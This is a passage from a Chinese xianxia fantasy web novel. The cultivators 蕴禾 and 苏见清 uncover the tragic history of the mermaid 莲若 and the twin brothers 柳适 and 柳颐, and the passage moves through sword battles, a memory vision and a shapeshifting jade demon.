蕴禾就这么看着她蹲在院子里和花花草草小声说话,莲若的声音极柔,温柔和缓,听得蕴禾昏昏欲睡。 她眼睛一闭刚要入睡,下一瞬又强迫自己清醒过来。 眼下莲若和柳适身边都没人看着,她可不能睡过去。 从储物手链里翻翻找找,蕴禾拿出一瓶灵丹,当糖豆似的嚼着玩。 好在莲若并未在院中多待,听见柳适在屋里唤她,她起身笑盈盈走进去。 她一走,蕴禾便觉那股睡意散了不少,眉头轻蹙,蕴禾眯着眼往隔壁屋里扫去一眼。 恰在这时,苏见清回来了。 蕴禾懒洋洋打招呼,“回来了,快去做饭吧。” 与往常一般无二的态度让苏见清一怔,一路的纠结担忧气泡似的被针戳破。 阿蕴姑娘……好像并没听到那些话。 他一动不动站在院门口,蕴禾不解,“你怎么了?” “没什么。” 苏见清缓缓摇头,温声而笑,“我这就去。” 目送他的身影进入厨房,蕴禾扔了颗灵丹塞进嘴里嚼啊嚼。 男人心,海底针啊。 有时候,她是真不知道苏见清在想什么。 要是神控术能对他起作用就好了。 蕴禾兀自遗憾。 …… 苏见清做了四个菜,与蕴禾一道去隔壁。 开门的是柳适,看清二人的刹那,他脸色瞬间沉下,冷声质问:“你们来做什么?” 恶劣的语气直冲冲对着苏见清而去。 蕴禾看不惯他这态度,扬声道:“柳郎君,我和见清来你家拼个桌,快让我们进去吧。” 声音大到足够让厨房里忙活的莲若听见。 她擦干手上水珠匆匆出来,扬起笑脸道:“是阿蕴姑娘和苏公子,阿适,快让他们进来吧。” 柳适扯唇,皮笑肉不笑侧身让路,“二位里边请。” 蕴禾雄赳赳气昂昂越过他走进院门,对莲若笑道:“前日白蹭莲姑娘一顿饭,今晚让你也尝尝见清的手艺。” 苏见清忍住去摸发烫脸颊,颔首道:“手艺粗糙,莲姑娘和柳郎君莫怪。” 莲若忍笑,“听了这话,想必苏公子的手艺应是极好。” 这话蕴禾赞同,连点两下头,“不错,他最大的优点就是有一手好厨艺。” “夫君,你来收拾,我去把最后一个菜炒来,马上就能用饭了。” 柳适:“好。” 苏见清将菜摆好没多久,莲若端着盘子出来,瞧见石桌上四样菜色,深嗅一下,“好香啊。” 柳适接过妻子手上菜肴,无奈叹气,“早知如此,我就认真学学厨艺了。” 莲若嗔他,“咱们刚成婚时,你又不是没学过。忘了做出来的东西什么样了?我看啊,你这辈子是学不会了,还是老老实实吃我做的饭罢。” 柳适眸色一恍,似是陷入沉默,他笑笑,温柔覆上莲若的手,“好。” 落座后,蕴禾拿出一瓶酒,依次给几人满上,“莲姑娘,柳郎君,我敬你们一杯。” 一杯饮尽,苏见清也将酒杯倒满,“我也敬二位一杯。” 莲若见状失笑,“夫君,看样子,咱们不敬不行了。” 柳适拧眉,“你酒量不好,还是我来。” “几杯酒而已,不碍事的。”清亮的眸子嗔了柳适一眼,莲若柔声道:“今个儿高兴,你别扫我兴。” 柳适只得妥协,“好。” 敬完一轮,蕴禾招呼二人吃菜,“莲姑娘柳郎君快尝尝,这可是见清家乡的特色。” 莲若吃了口灵鸡肉,眼睛亮晶晶的,“夫君,这个好吃,你快尝尝。” 四人迎着月色饮酒吃菜,倒是颇为和谐。 蕴禾给莲若夹一筷子笋,“还有这个。这笋可是见清千里迢迢带来的。” 莲若尝了口,赞道:“好鲜。” 苏见清浅浅勾唇,“这笋产自伏渊山下定安城,以鲜美著称,我那儿还有不少,莲姑娘若是喜欢,明日我给你匀一些。” “这也太破费了。” “不过一点吃食,有何破费的?” 蕴禾话音一转,“见清来自定安城,我出身玄清域南方一座名为遇冬的小城,不知莲姑娘和柳郎君来自何处,可是观沧海人?” 莲若摇头,“阿适是明莱城人,我……也是小城出身。” 蕴禾追问:“什么小城?” 莲若笑回:“一座临海小城,不值一提。” “临海啊。” 蕴禾吃得差不多了,放下筷子单手摸下巴,嘴角笑意耐人寻味,“说起海,我倒是想起一种名为鲛人的妖。莲姑娘在海边住了这么多年,可曾见过鲛人?” “啪。” 莲若眸光一颤,手中木筷掉落。 柳适目色骤厉,射向蕴禾的视线阴鸷冷冽。 蕴禾丝毫不惧,安静注视莲若,仿佛真的只是好奇。 第53章 “阿蕴姑娘说笑了。” 莲若拾起木筷,笑容看不出丝毫异样,“既是妖,那定是生活在妖域,我一个小人物怎会得见?” “是吗?” 蕴禾失望叹气,“有朝一日,我倒是想见见真正的鲛人是什么样。听说他们无论男女,皆生一副冠绝之貌,与狐族并称妖族最美的妖,我有幸见过两个狐族美人,容貌与莲姑娘不相上下,若非莲姑娘是人族,我还以为你才是鲛人呢。” 此话一出,莲若的笑有些挂不住,勉强道:“阿蕴姑娘说笑了,我怎能和鲛人相提并论?” 蕴禾笑眯眯的,慢条斯理饮酒,“莲姑娘莫要妄自菲薄,在柳郎君心里,你定是比鲛人还要貌美。” 莲若红着脸去看柳适,“是吗?” 后者眼里寒意散去不少,笑着点头,“自然,阿若在我眼里永远是最美的。” 莲若垂首,面上羞赧,嘴角轻轻翘起。 蕴禾端起酒杯浅啄,心道这对夫妻可真有意思。 无论何时,二人表现得皆是深情厚谊,柳适也的确像是在意极了莲若,可若真是如此,他为何又与封柔有染? 怪哉,怪哉。 吃完饭,苏见清把盘子一一放进木盒,准备带回去清洗干净放好。 这几个盘子阿蕴姑娘还挺喜欢的,可不能弄丢了。 和莲若夫妻告完别,蕴禾带着苏见清大摇大摆回到隔壁。 进入院子,蕴禾蓦地顿住,仰头凝望头顶明月,遗憾轻啧。 “怎么了?” 蕴禾叹气,语气忧伤,“忽然忘了一件事。” 苏见清好奇,“何事?” “今日发现周婉出事,我第一时间用神识封锁整个巷子,可我只顾着寻找魔修的气息,却忘了关注莲若。” “方才我才察觉,我脑海里竟然只有她在休息的场景,但那人是真是假,此时却无从知晓。” 苏见清安慰,“无碍,杀害封柔姑娘的定是这对夫妻中的一人,阿蕴姑娘不必担忧,我们盯紧些便是。” 浪费了这么多日,蕴禾已经不耐,皱眉道:“哪有这么麻烦,直接把他们抓住,一个个审问不就行了?” 苏见清迟疑摇头,“这……不太好吧?” “有什么不好的?” 蕴禾反问:“你就这么干等他们露出破绽,万一下次我没及时赶到,让他们又害一条人命,你过意得去?” 苏见清抿唇,低声道:“过不去。” “那不就得了?” 蕴禾摊手,“我现在就去把他们抓过来。” 苏见清被说服了,并未阻止。 然而蕴禾刚往前迈一步,手腕蓦地发烫。低头时,一道紫光钻进眉心,她身形一定,双眼闭上,身子往后倒。 “阿蕴姑娘!” 苏见清惊住,急忙把蕴禾揽进怀里,手捧侧脸急声唤道:“阿蕴姑娘,阿蕴姑娘?” 发现蕴禾只是昏睡过去,他松一口气,拦腰将人抱起进了屋。 动作轻柔把蕴禾放在床榻上,苏见清眉心锁住,干净凤眼压不住怒意。为蕴禾盖好被子,他大步出门,往隔壁而去。 走到一半,苏见清步子一顿。 两步之外落下一道狭长影子,在清冷月光照耀下如暗地里滋生的诡谲魅影。 苏见清抬头。 一朵乌云悄无声息飘来,一点点遮挡住明亮圆月。巷中的光暗下,忽地,远处炸开烟花,忽隐忽现的光芒照落屋檐上那人的侧脸,将他俊美无俦的五官渲染出几分诡异。 苏见清:“柳前辈深夜来访,可是有要事?” 柳适垂首不语,只是用冷淡的目光盯着苏见清。 “柳前辈无事,我却有事。” 苏见清同样回之冷漠视线,“阿蕴姑娘无故昏迷,柳前辈可知是何原因?” 柳适终于开口,声线与面对莲若时的温柔不同,从骨子里渗出一股冷意,“你怀疑是我做的?” 苏见清反问:“不是吗?” 柳适冷笑,“那女妖的实力神秘莫测,我还伤不了她。” 不是他? 苏见清拧眉,那会是谁?难不成是莲若姑娘? 脚步刚刚提起,柳适忽问:“你想去找阿若?” 苏见清不语,步子落地。 足下骤然亮起一道法纹,如风吹过落了星火的原野,霎那间燃起漫天大火,无数诡异红光同时亮起,将苏见清紧紧包围。 衣袍无风自动,柳适的嗓音如藏在地底多年的冰川,散发着刺伤肌肤的寒意,“你们知道了阿若的身份。” 语气是笃定的。 他伸出一指,遥指苏见清,冷漠道:“既然如此,那就去死吧。” 伏渊的剑修向来嫉恶如仇,阿若是妖,还是妖族中战力极为强盛的鲛人,他不敢用阿若的安全来赌一个伏渊剑修的善心,那就只能让他去死了。 红光同时爆裂,细小锋锐的剑气从里钻出,密密麻麻射向苏见清。 “长虹!” 苏见清低喝一声,长虹已在掌中。 剑气横扫,红芒在长虹剑下破碎,剑修身形如燕,轻快灵动在剑阵中穿梭。 然而很快,苏见清察觉到不对。 这些破碎的剑气竟会重组,再次向他攻来! 一剑扫落数道剑气,苏见清攻势不停,反手格挡,两指并拢,带到灵气在空中游走。 红色剑光闪烁中,他清冷凤眸似下了场雪,雪花纷纷扬扬落下,转瞬凝结成冰。 “凝。” 低沉的一字落下,苏见清挥动长虹,斩出一剑。 剑气夹杂着冰寒之气,所过之处寒冰降临,将剑气紧紧包裹。 “破。” 又是一剑挥落,剑气以摧枯拉朽之势斩下,坚硬寒冰刹那湮灭,化为无数细小碎冰丁零当啷坠落。 以苏见清为中心,一寸之内干净无尘,他挽了个剑花,将长虹竖在背后,往前迈两步。 “有个问题困扰了我许久。” 苏见清仰头,直视屋檐上柳适那张难看的脸。 视线缓缓下移,落在他腰间玉剑上。 苏见清礼貌询问:“清风剑柳适的名头,在百年前可谓是大名鼎鼎,可百年后,柳前辈为何两次对我出手,皆不用清风剑?” 柳适眸色冷下,寒声质问:“你什么意思?” 苏见清轻轻勾唇,始终保持晚辈面对前辈的谦逊,“柳前辈即便转修法,用的法阵也是剑阵,由此可见,你并未对剑产生厌弃,那你为何不用清风剑?” “是不想,还是……” 苏见清拉长尾音,疑惑问:“不能?” 柳适攥拳,眼里渗出血丝,咬牙道:“你究竟想说什么?” “听说柳前辈有个双生胞弟。”苏见清仰着脸,从容不迫问道:“那你究竟是柳适,还是柳颐?” 柳颐这个名字一出,柳适浑身一颤。脖颈青筋暴起,仿佛有妖兽蛰伏在他皮下,下一瞬便会破开血肉钻出。 他怒极,“你胡说八道什……” 目光一定,尾音破开,柳适惊怒,“阿若?” 第54章 白。 一眼望去,看不见尽头的白茫似海水般簇拥着蕴禾。 她冷脸站立,明亮清澈的双眸遍布寒霜,四周巡睃后,声如寒冰,“什么鬼东西?本皇给你三息,再不出来,我把你这地方打得细碎。” “三。” “二。” 一的音还未吐露,一道紫光坠落在蕴禾面前。 那是颗光滑圆润的珠子,紫光闪烁,缤纷灿烂。 珠光闪烁,无数道灵光从鲛珠内飞出,落到蕴禾面前。 蕴禾皱眉,这是什么意思? 指尖轻点最面前的光点,灵光爆开,化为一幅画面。 姿容姣美的姑娘哭得梨花带雨,眼泪在落下的刹那化为珍珠坠地,她扑进年轻人怀里,放声大哭,“阿适,你醒了,你终于醒了!我就知道,你舍不得离开我,我就知道你一定会醒的。” 面容苍白的年轻人将姑娘拢进怀里,嘴角笑意惨淡又温柔,“嗯,你哭得这么伤心,我怎么舍得?” 下一瞬,蕴禾看见这对有情人手牵手走在枫泠城内,莲若指着随风坠落的枫叶,笑着对柳适道:“阿适你快看,好美啊!” 柳适嘴角含笑,轻声应,“的确很美。” 年轻剑修的眼里倒映着鲛人少女清丽无双的笑容,似在借指什么,又似是没有。 莲若却在他的注视下红了脸,嗔道:“你说什么呢!” 柳适笑容狡黠,“说枫叶啊,你以为我在说什么?” 姑娘气恼,“当然也是枫叶!” 柳适哈哈大笑,意气风发,自在潇洒。 画面淡去,蕴禾看见他们如往常一般游历玄清域,捉捉妖兽,帮百姓们赶走作恶的修士,好不逍遥快活。 只是,随着时间流逝,莲若的脸色越发苍白,在柳适看不见的夜晚,她蜷缩在床榻上,嘴角溢出血迹,抱着愈加虚弱的身体流泪。 泪水从眼角滚落,数颗珍珠骨碌碌滚至门口,被阴影遮挡。 蕴禾看到这幕,疑惑不解,“这么长时日,难不成柳适从来没发现莲若的不对?” 空荡白茫的空间内无人应答。 又一道灵光出现在蕴禾眼前。 画面中,柳适独自一人离开客栈,撑着树干弯腰呕血。 蕴禾:“……” 怪不得没发现呢,原来双方都背着对方在吐血。 她不太能理解这二人的想法。 既然生命即将走到尽头,为何不向对方吐露实情,反而一个劲地瞒着?两人一起使劲想法子活下去不行吗? 何况莲若也就罢了,失去鲛珠,庞大妖力失去承载物,在她体内乱窜,会致使她的身体逐渐虚弱,直到再也承受不住妖力冲击,爆体而亡。 但柳适是怎么回事? 难不成碎金的本源之力无法疗愈他的伤,他的伤还没好? 蕴禾皱着眉头继续看下去。 在有心隐瞒和自顾不暇的双重叠加下,莲若和柳适白日里装得若无其事,可夜深人静时,总是避开爱人,独自忍受痛苦。 可再怎么隐瞒,终究还是瞒不住。 当着柳适的面吐血后,哪怕莲若再三缄口,终究没忍住柳适的逼问,将她用鲛珠为他换药一事说出。 柳适神魂巨震,逼问莲若与谁换了鲛珠。 莲若与他心意相通,自然明白他在想什么,摇头苦笑道:“没用的阿适,以我现在的身体状况,或许鲛珠在回到体内的刹那,我便会因承受不住庞大的妖力立即死去。” “鲛人重诺,将它交出去的那一刻,我就没想过再将它拿回来。” “用一颗鲛珠换你存活,阿适,我再开心不过了。” 柳适沉默着枯坐许久,无论莲若怎么劝说,他始终一言不发。 夜幕降临时,莲若再度因为妖力冲击口吐鲜血,看着她一脸苍白痛苦,柳适眼里的泪再也忍不住,啪嗒落在鲛人少女颈上鲜血。 他颤抖着抱住莲若,将手放在她唇边,松开她咬得满是血的唇,啜泣道:“阿若,别再伤害自己了。” 痛楚让莲若丧失了神志,她疼得眼泪模糊,用力咬住唇边的手指,企图用此转移痛苦。 鲜血浸湿了两人的衣袍,恍惚中,莲若听见爱人温柔包容的声音。 “阿若,我们成婚吧。” …… 院门敞开,一道柔弱身影立在门口,衣角轻轻晃动,不知站了多久。 柳适匆匆从屋檐上一跃而下,急声追问:“阿若,你什么时候来的?” 苏见清惦记着蕴禾,冷声质问:“莲姑娘,你究竟对阿蕴做了什么?” 愣愣垂首的莲若抬头,满脸茫然,“阿蕴姑娘……怎么了?” “阿蕴方才昏迷不醒,可是你做了什么?” 苏见清手握长虹,向前逼近,“封柔姑娘惨死,周婉姑娘受伤,这一切究竟是不是你所为?” 柳适霍地转身,满脸风雨欲来,眼底似蕴着狂风暴雨,“闭嘴!” 出声的刹那,他身上灵气攀升,属于化神修士的威压齐齐朝苏见清压去! 手中两道法印翻飞,落于苏见清头顶,控制住他的行动。 做完这一切,柳适匆匆去看莲若,急声道:“阿若,你别听他胡说。” 莲若小脸上皆是茫然,喃喃道:“封柔姑娘……周婉……都是我做的?” “阿若!” 柳适握住莲若双肩,弯腰直视她,认真道:“捂住耳朵什么都别听,一切有我在。” 莲若仿佛听不见他在说什么,如木偶般小声重复,“封柔姑娘是我杀的?还有周婉……小婉,也是我伤的?” 柳适焦急,用手捂住莲若的耳朵。 “阿若,别听,什么都别听。” 一剑破出柳适阵法的苏见清一脚踏出,眉头拧紧注视着莲若。 “她怎么了?” “闭嘴!” 柳适偏头对苏见清低吼一声,冷冷讽刺,“这不都是拜你所赐?” 苏见清皱眉不语,立在一旁仔细观察。 莲若不断重复着,清澈眸底逐渐被黑气占据,失焦的瞳孔骤然一定,霍然抬头注视柳适。 “苏公子方才说,你是谁?” 柳适浑身僵硬。 捂着莲若双耳的手颤抖,他涩声道:“阿若,我是阿适,柳适啊。” 莲若用一种奇异的目光看着他,静立不语。 在她的注视中,柳适险些喘不过气来,坚定道:“阿若,我是柳适。” “他在骗你。” 低柔的男声响起,苏见清陡然抬头。 黑夜中不知何时出现一道身影,全身裹在漆黑斗篷中,无法辨认五官,唯有露在外头的一双手莹白如玉。 那人温柔对莲若道:“他不是柳适,而是柳适的胞弟,柳颐。” 第55章 “柳适、柳颐……” “柳颐……封柔……啊!” 莲若突然拂开柳适的手,抱头朝天大吼。 清澈瞳眸中钻出阵阵黑气,她全身笼罩在黑气中,身上爆发出浓烈魔气,骤然将离得最近的柳适震开。 “阿若!” 苏见清一手挡在身前,凝重的目光锁住莲若,低声道:“她入魔了。” “阿若,阿若!” 柳适全身法印齐飞,奋不顾身朝莲若奔去,“阿若!” “啊!” 莲若仰天大吼,白净侧脸攀上魔纹,秀美绝伦的脸多出诡艳之美。她面色痛苦,眼前似有血色翻涌,躺在血泊中姑娘的脸在眼前挥之不去。 手指生出尖锐指甲,莲若痛得用指尖在脖颈上剐蹭,修长白皙的颈子出现几道血痕,血淋淋的,令人不忍直视。 此刻的她宛如开在埋骨之地的白莲,花瓣被血沾染,充斥着溃败糜烂的破碎之美。 “阿若!” 柳适匆匆上前,却被魔气阻隔,始终无法近莲若的身。 所有画面一并散去,莲若眼中魔气退散,她双眼一闭,身子疲软倒下。 柳适疾步上前,然而有道身影比她更快。 黑袍人揽住莲若的腰,苍白手指摩挲她脸上魔纹,痴迷道:“美,可真美啊。” 柳适怒喝,“你放开她!” “放开?” 黑袍人低笑,笑声温柔又诡异,“她原本就该是我的,你抢了我的人百年,我还没找你算账,你反倒让我放开?当真可笑。” 柳适怔住,眸色微滞。 黑袍人抱着莲若转身,“想要她,那就得看看你有没有那个本事。” “把莲姑娘放下!” 苏见清手持长虹杀来。 黑袍人侧目,“元婴剑修?” 他轻哼一声,“不自量力。” 拂袖一挥,黑袍人袖中飞出两颗玉石,玉石相撞后,澎湃魔气爆炸开,黑雾将小巷彻底淹没。 苏见清斩出长虹,柳适也祭出阵法,二人合力破出黑雾后,原地已没了黑袍人和莲若的下落。 柳适面色阴沉,手攥成拳,血珠滴滴答答坠落。 苏见清皱眉看着盛满繁星的夜幕,伫立良久后开口,“我或许有法子能找到莲若姑娘的踪迹。” 柳适霍地转头,目光如炬,“什么法子?” 苏见清未语,转身进院,柳适急匆匆跟上。 进入蕴禾的屋子,苏见清阖上门,把柳适关在门外,抬步走到蕴禾窗前,蹲下身轻声问:“阿蕴姑娘,你能听见我的声音吗?” 床上昏睡的人一动不动。 苏见清轻声道:“莲若姑娘入魔了,封柔姑娘的确是她所杀,就在方才,入魔的莲若姑娘被一黑袍人抓走,不知去向,你可有法子追寻她的下落?” 他记得,阿蕴姑娘之前曾送给莲若姑娘一个镯子,以她的聪慧,或许会在镯子上动手脚,以此为基,说不准能追上那黑袍人。 蕴禾依旧一动不动。 苏见清垂首,清澈朗润的声线头一次添缕低磁的无措,像指尖沾染清晨朝露,湿润润的,润到人心里去。 “阿蕴姑娘,我实在没办法了。” “你这么厉害,能不能……帮帮我?” 三息之后,一道绿光从蕴禾眉心飞出,在苏见清掌心化为绿叶,叶片轻轻转动,指向某个方向。 苏见清眼睛发亮,勾唇笑道:“多谢阿蕴姑娘。” 他替蕴禾盖好被子,走出屋子,关好门后对焦急的柳适道:“走罢。” …… 蕴禾大马金刀地坐着,嘴角轻轻上扬,星眸璀璨,俨然心情极好。 她抖抖耳朵,不掩得意。 “哼,平时充英雄逞强,到了紧要关头,还不得靠我?” 男人,呵。 苏见清,呵呵。 乐完,想到苏见清方才的话,蕴禾不觉蹙眉。 神秘的黑袍人把莲若带走了? 谁啊? 视线巡睃,仍是在这白茫茫的未知空间里。 那该死的鲛珠不会要等她把所有记忆看完才会放她出去吧? 蕴禾无奈叹气,认命看起下一段。 莲若和柳适的婚仪很简陋。 他们租了个小院,亲手将院子装点成新房。 莲若时常要忍受妖力冲撞的痛苦,精神不济,因此这场婚事几乎可以算是柳适一手包办的。 他亲自挂上红绸,贴上喜字,坐在院里迎着阳光,认真而笨拙地学着如何绣喜服。 莲若白着脸坐在院中,神色疲软虚弱,眼里却带着笑。 她是鲛人,喜水,柳适便在院中修一座灵石池,供莲若休养。 两套喜服,柳适磕磕绊绊地绣了将近一个月。将成品呈给莲若看时,他目光躲闪,脸上微红,羞涩至极。 “我手艺不好,要不还是去买两套吧?” “不用,我很喜欢。” 素手抚摸着嫁衣上略显肥胖的凤凰,莲若笑中含泪,“这是你亲手为我做的,我要穿着它,漂漂亮亮,高高兴兴地嫁给你。” 阳光下,她的脸庞呈现出透明的虚弱感,仿佛下一瞬就要碎了。 柳适忍住喉中哽咽,侧眸逝去眼角泪珠,温柔应,“好。” 那场婚礼并无外人见证,唯有他们二人,对着天地起誓。 满天繁星下,年轻男子握住身着红色嫁衣的姑娘的手,笑意轻柔,“从今往后,柳适便是莲若的夫婿。阿若,我会护你无忧,此生不弃。” 莲若眼里含泪,轻轻笑着,“好。” 婚礼过后,在新房内待满七日,莲若提出想出去走走。 她躺在柳适胸膛,气息微弱,“阿适,你带我走吧。最后这段日子,我想要自由触碰山间清冽的风,抚摸温柔的海水……” 莲若伸手,仿佛看见妖域中那片危险又美丽的大海,珊瑚丛丛,鱼儿成群,鲛人们自由徜徉在海洋中,在月下坐在礁石上放声高歌。 她眼角涌出泪,“……我想去观沧海。” 那个地方像极了她出生的南曲海。 年少时,无忧无虑的鲛人王女向往极了玄清域的繁华与安宁,她不顾父王反对,与他大吵一架后执意离开妖域,游历玄清。 她走过山川河流,见过悲欢喜乐,更遇见了一生爱侣。 她无悔自己的选择,可在生命的尽头,又不可避免地忆起亲人与那片生她养她的海域。 此生无法魂归故里,但能死在海里,也算一种慰藉。 柳适抱住莲若,哽声道:“好,我陪你去观沧海。但在那之前,咱们先回趟家。” 画面一转,蕴禾看见柳适将昏迷的莲若放在床榻上,身后有道低哑男声问:“阿兄,阿嫂怎么了?” 他走出阴暗处,露出一张与柳适一般无二的脸。 第56章 苏见清和柳适一路追出观沧海。 海域无边无际,海水冲刷礁石,海浪声延绵不绝。 今日无星,天空中唯有一轮圆月高悬,皎洁月光温柔撒落大地,为海面笼上一层清辉。 柳适语气焦躁质问:“此处哪儿来的人,你是不是弄错了?” “不会错。” 苏见清安静凝视掌心绿叶。 阿蕴姑娘给的东西,一定不会错。 顺着叶片指向的方向望去,海面波涛滚滚,除了水,再无其他。 苏见清沉吟片刻,御剑飞身而上。 柳适见状眉头紧锁,然而当下除了相信他再无他法,只好收敛情绪跟上。 飞到海域上空,苏见清仿佛撞进黏湿浓稠的雾里,他立在长虹剑上,目光沉静掠过波涛汹涌的海面。 柳适追上,冷目一扫,寒声道:“此处有阵法。” 不等苏见清询问,他掐指演算,推测阵眼。 海面波涛滚滚,海浪拍打在岸上,浪声一声高过一声。 半空之中,年轻修士五指快成残影,数道灵光围绕其间,令人眼花缭乱,头晕目眩。 指尖掐定,柳适微亮目光盯着某处,“找到了。” 他两手交合,如烈火灼烧的法印从掌心飞出,疾速朝空中轰去。 法印仿佛触碰到实体,猛地撞上去,刹那间亮光爆开,空中似有咔嚓碎响。 苏见清反应极快,两指划出一道剑气,“去!” 剑气刺向天幕,咔嚓声逐渐放大,无形中有什么东西碎裂。 雾气骤然散开,苏见清垂首望向掌心绿叶,绿光莹莹,孜孜不倦指向某个方位。 神识外放,黑夜之*中,波涛汹涌的海面竟不知何时竟有一座楼阁矗立。 苏见清收起绿叶,对柳适道:“走。” 二人朝那楼阁飞去。 楼阁应是个灵器,底座漂浮在海面,一共有五层,苏见清与柳适不约而同分开寻找。 此处应是那黑袍人的住所,楼内奢侈地缀满各种玉石宝石,琳琅满目,灵光璀璨。 苏见清瞧见不少龙牙晶,见状疑惑拧眉。 难不成,观沧海内龙牙晶售罄,是这神秘黑袍人所为? 一楼唯有一间屋子,正中间立着一座玉石雕像,雕像的模样似是个女子,双手置于腹前,身姿挺拔,衣袂翩翩,哪怕没有五官,依然能感觉到她的优雅美丽,从容闲适。 屋里四处散落着五彩缤纷的宝石,更多的是被镶嵌在女子裙身,灵光萦绕,华贵无比。 此处并无莲若踪迹,苏见清转身欲走。 “你找什么呢?” 屋内骤然响起一道熟悉的懒散嗓音,苏见清遽然回身。 雕像的脸逐渐有五官显露,杏眼如朝露,双唇如红樱,长眉琼鼻,无一不是他熟悉的模样。 玉石一一化去,柔软发丝飘在空中,一身绿裙仿佛丛丛青竹间孕育而出的精灵,清丽灵动。 她俏生生立在不远处,嘴角勾起蛊惑人心的笑容,“你是在找我吗?” “阿、阿蕴姑娘……” “蕴禾”笑意清浅,“我在呢。” 她赤着双足朝苏见清走近,嗓音是苏见清从未听过的柔媚,“你找我做什么?” 苏见清双目迷茫,“我、我也不知。” “你不知道?” “蕴禾”贴着苏见清站立,葱白指尖搭上他肩膀,指腹如蜻蜓点水,快速轻柔在他侧脸点过。 她笑着说:“那我告诉你好不好?” “你来寻我……” 指尖挑起苏见清下巴,“蕴禾”双眼弯成月牙,杏眸里满满当当的尽是蛊惑。 红唇一勾,低柔暧昧的嗓音吐露,“共赴极乐。” 带着钩子般的尾音落下,“蕴禾”身上衣衫尽数掉落,白皙圆润的香肩暴露在苏见清眼下。 他眼神呆滞片刻,立马手忙脚乱背过身,红着脸结结巴巴道:“阿、阿蕴姑娘……你、你快把……” 喉结滚动,苏见清艰难道:“衣衣、服穿上……” “蕴禾”拒绝,“我不。” 柔软温润的身子从背后抱住苏见清,纤纤玉手抚摸着他的胸膛,委屈诱惑,“我能感受到,你的心也在为我跳动,你不喜欢我吗?” 指尖在苏见清胸前画圈,她声音又低又柔,“你……不想要我吗?” 苏见清浑身一震。 “蕴禾”得意一笑,再接再厉,“你看,你的身体如此诚……” 话音未落,她的身子陡然被震开。 苏见清转身,笃定道:“你不是她。” “蕴禾”不可置信,“你是怎么认出来的?” 苏见清抿唇。 其实很简单,阿蕴姑娘绝对不会用这种语气和他说话,什么“你不想要我吗?”简直肉麻死了。 她只会把他扔进榻里,高高在上地通知他,“本姑娘宠幸你是你的荣幸,你别扭扭捏捏露这死出。” 耳尖通红,苏见清轻咳一声,挥去脑海里奇奇怪怪的幻想,认真道:“你这玉妖不需要知道。” 被戳穿身份的玉妖表情扭曲,极不甘心。 此人周身灵气充裕,又生得郎艳独绝,积玉堆琼,是个罕见的尤物,要是能吞了他,她定能一举突破,修得完整人身,可惜却被他识破,她着实不甘心。 目光不经意从苏见清耳尖瞥过,玉妖眸光轻转,与蕴禾如出一辙的面容上浮现娇笑,“这位仙君,你对我这张脸的主人,可是心存爱慕?” 苏见清心中一慌,下意识低斥,“你胡说八道什么?!” “仙君生什么气?你爱慕她不是很正常的事吗?”指尖从侧脸拂过,玉妖沉醉道:“生了这么一张倾城绝色的脸,怕是最冷酷无情的修士,也很难不动心吧。” 她眼睛一亮,舌尖舔过红唇,“反正我们生得一模一样,不如仙君将我当成她,春风一度,以解相思?” 苏见清彻底动怒,冷下脸斥道:“闭嘴。” 他阖上眼,不再去看那张动乱心神的脸,手握长虹,快速使出穿云剑法,毫不犹豫朝玉妖刺去。 “啊!” 玉妖惊惧尖叫。 她擅长的是幻术和换容术,可不擅斗法啊! 玉妖楚楚可怜哭着求饶,“仙君饶命,我再也不敢了,真的不敢了,求仙君饶我一命。” 苏见清充耳不闻,再度斩出一剑。 玉妖惊叫一声,下一瞬,身影已化为雕像,白皙无垢的玉石上裂出一条剑痕,将它完美的身体破坏殆尽。 苏见清睁开眼,不再去看那只玉妖,转身破门而出。 推开门的刹那,柳适愤怒的斥声落地。 “别碰她!” 苏见清快速朝声源地掠去。 好在那地方并不远,他快速上了三楼。 这间屋子空旷无比,除了一张石床再无其他。柳适被蛛丝一样的绳索缚住,石床上躺着莲若的身影,那黑袍人站在窗边,指尖轻柔从莲若脸侧拂过。 “我叫你别碰她!” “别碰?” 黑袍人低低柔柔地笑,“你从我这儿将她偷走百年,现在不该物归原主吗?我的……” 他徐徐转身,揭开兜帽,对柳适温柔而笑。 “……好弟弟。” 苏见清瞳孔一震。 黑袍之下,赫然是一张与柳适一模一样的脸。 第57章 “阿兄!” 柳颐脸色难看,连连后退,“我不能这么做,不能!” 目光匆匆从床上的莲若身上掠过,他侧过脸,低声道:“你们已经成婚了,她是我的阿嫂啊。” 蕴禾盘腿而坐,皱眉品味这段话的意思。 有时候这些画面并不连贯,有些话听得她没头没脑的,比如此刻。 柳适要让柳颐做什么? 不过这兄弟二人,长得倒真是一模一样。 画面中,柳适惨淡一笑,“我也不愿如此,可是小颐,阿兄真的没办法了。” “我燃烧神魂才与后饶同归于尽,若非阿若强留下我一缕神魂,此刻的我早已身陨道消。可即便如此,我的身体也早已是千疮百孔。” “小颐。” 柳适握住柳颐的手用力到发白,低声虚弱道:“阿兄活不长了。” “阿兄!” 柳颐面色慌乱,反握住柳适的手,“我去想办法,我想办法救你,我一定能救你。” “我知道你念着我。” 柳适露出笑,“你我兄弟二人心意相通,我知道你的心思。” 柳颐一顿,面色慌张。 可柳适却没再看他,视线望向窗外,侧脸白到透明,轻声道:“若非这具身体拖累,你本可以与我一同习剑,游历玄清,做修真界自由自在的一缕风。” “反正阿兄也活不长了,不如用我一身血肉,填补你天生的残缺,从此,你也可以像往常的我一般,走出这座小城,去天地间看山川河流,无垠大海。” “阿兄!” 柳颐的声音里已含了哭腔,“我不要,我想要你活着。” 柳适转过头来,目光包容,像是在看一个哭闹的孩童,笑着温声道:“阿若喜欢观沧海,在那之前,你替我带她去一趟吧。” “阿兄。” 柳颐趴在柳适膝头,哭声哽咽,“可她是我的阿嫂啊。” “小颐。” 柳适语气郑重,“阿若重情,倘若她发现我已离世,我怕她会想不开随我而去。你替我陪她一段时日,好不好?” 手指轻抚柳颐头顶,柳适眼中流露出极致的悲伤,嘴角笑意苍白,“等到一个合适的时机,你再装作辜负她,令她心灰意冷,到时,她自会回妖域。” “阿兄,我不要。” 柳颐哭着拒绝。 柳适却不再安慰,轻声与他说着这些年与莲若经历的点点滴滴。 回忆往昔时,他惨白的脸庞泛出温柔笑意,可内心却在滴血。 记忆太过珍贵,柳适说了整整三天三夜。最后一个字落下,他嘴唇干裂泛白,轻声道:“小颐,阿若就交给你了。” 柳适破开胸膛,从内取出一个与他生得一模一样的小人,将元婴渡入莲若胸膛。 化神修士的元婴,虽不足以代替鲛珠,却也勉强能承载她溃散的妖力。 做完这一切,柳适脸色越发苍白,残存死气。 